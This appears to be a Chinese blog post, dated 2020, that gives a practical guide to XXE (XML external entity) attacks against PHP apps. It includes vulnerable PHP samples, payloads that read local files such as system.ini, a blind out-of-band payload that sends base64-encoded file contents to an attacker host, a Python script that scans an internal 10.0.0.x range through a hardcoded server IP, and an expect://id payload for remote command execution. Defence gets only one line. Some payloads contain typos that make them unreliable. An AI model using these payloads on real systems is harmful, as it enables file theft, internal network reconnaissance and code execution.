XXE使用攻略

XXE使用攻略

背景知识:实体分为内部实体,外部实体。/通用实体(使用&定义),参数实体(% 实体名,空格不能少)>。

一:有回显读本地敏感文件

示例代码:

xml.php

 <?php
 
     libxml_disable_entity_loader (false);
     $xmlfile = file_get_contents('php://input');
     $dom = new DOMDocument();
     $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
     $creds = simplexml_import_dom($dom);
     echo $creds;
 
 ?>

payload:

 <?xml version="1.0" encoding="utf-8"?> 
 <!DOCTYPE creds [  
 <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
 <creds>&goodies;</creds>

如果文件没有特殊符号,读取没有太大问题。遇上特殊符号(“&”,“>”,"<")这种会报错。--->解决方法将读出来的数据放在CDATA中输出绕过

payload:

 <?xml version="1.0" encoding="UTF-8">
 <!DOCTYPE roottage[
 <!ENTITY % start "<![CDATA[
 <!ENTITY % goodies SYSTEM "file:///C:/DESKTOP/1.txt">
 <!ENTITY % end "]]>">
 <!ENTITY % dtd SYSTEML "http://ipaddress/evil.dtd">
 %dtd;]>
 
 <roottage>&all;</roottage>

evil.dtd:

 <?xml version="1.0" encoding="UTF-8"?> 
 <!ENTITY all "%start;%goodies;%end;">

把CDATA当作字符串写入参数实体,然后依次调用,在解析的时候拼接起来,就能把返回来的数据当作字符串传输。不会引起错误。

二:无回显读取本地敏感文件(Blind OOB XXE)

xml.php

 <?php
 
 libxml_disable_entity_loader (false);
 $xmlfile = file_get_contents('php://input');
 $dom = new DOMDocument();
 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
 ?>

test.dtd

 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
 <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

payload:

 <!DOCTYPE convert [ 
 <!ENTITY % remote SYSTEM "http://ip/test.dtd">
 %remote;%int;%send;
 ]>

分三次调用参数实体。在将修改的payload请求发送到目标主机上进行解析时:

1.先调用%remoe;对存在利用dtd文件发起请求,并返回文件内容。

2.调用%int;执行里面存在的又一层实体

3.调用%send;向特定主机发送请求,包含参数p,附带上经过base64编码后的读取到达文件数据。

4.在我们特定主机服务器端口进行查看,可以发现传送到的数据。

三:HTTP内网主机探测

以存在XXE漏洞服务器为我们探测内网的跳板,在进行探测前,先利用file协议读取作为跳板服务器的网络配置文件。看一下有没有内网,以及内网段大概什么样子。以LINUX为例,我们可以读取/etc/nerwork/interfaces或者/proc/net/arp或者/etc/host文件后,就有了大致方向。

探测脚本实例:

 import requests
 import base64
 
 #Origtional XML that the server accepts
 #<xml>
 # <stuff>user</stuff>
 #</xml>
 
 def build_xml(string):
  xml="""<?xml version="1.0" encoding="utf-8"?>"""
  xml+='\r\n'+"""<!DOCTYPE foo [<!ELEMENT foo ANT>"""
  xml+='\r\n'+"""<!ENTITY xxe SYSTEM>"""+string+""">]>"""
  xml+='\r\n'+"""<foo>"""+'\r\n'+"""<stuff>&xxe;</stuff>"""+'\r\n'+"""</xml>"""
  send_xml(xml)
 
 def send_xml(xml):
  headers={'Content-Type': 'application/xml'}
  rep=requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php',data=xml,headers=headers,timeout=5).text
  coded_string=rep.split(' ')[-2] #a little split to get only the base64 encoded value
  print coded_string
 for i in range(1,255):
  try:
  i=str(i)
  ip='10.0.0.'+i
  string='php://filter/convert.base64-encode/resource=http://'+ip+'/'
  print(string)
  build_xml(
  string)
  except:
 continue

对可能存在的内网主机,通过变换ip地址不断发起请求,通过返回值来判断主机是否存在

四:HTTP内网主机端口扫描

我们找到一台主机,想要发现攻击点,需要进行端口扫描,我们只要把ip地址固定,遍历端口就ok。一般通过响应时间长短判断该端口是否开放。可以结合burpsuite进行端口探测。

运用burp把端口替换。

五:其他

1.PHP expect RCE

由于PHP的expect不是默认安装扩展,如果安装了这个expect扩展我们就能利用XXE进行RCE

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
    <file>&cmd;</file>
</dir>

XXE出现在哪些地方

前后端有种情况,后端处理好数据以后,前端只用调用后端封装好的数据就ok,比如json.decode。 问题就出现在这里,api接口能解析客户端传过来的xml代码,并且直接外部实体的引用

 


防御:使用语言种推荐的禁用外部实体的方法

参考:https://xz.aliyun.com/t/3357

 

posted @ 2020-04-10 10:57  t0wl  阅读(572)  评论(0)    收藏  举报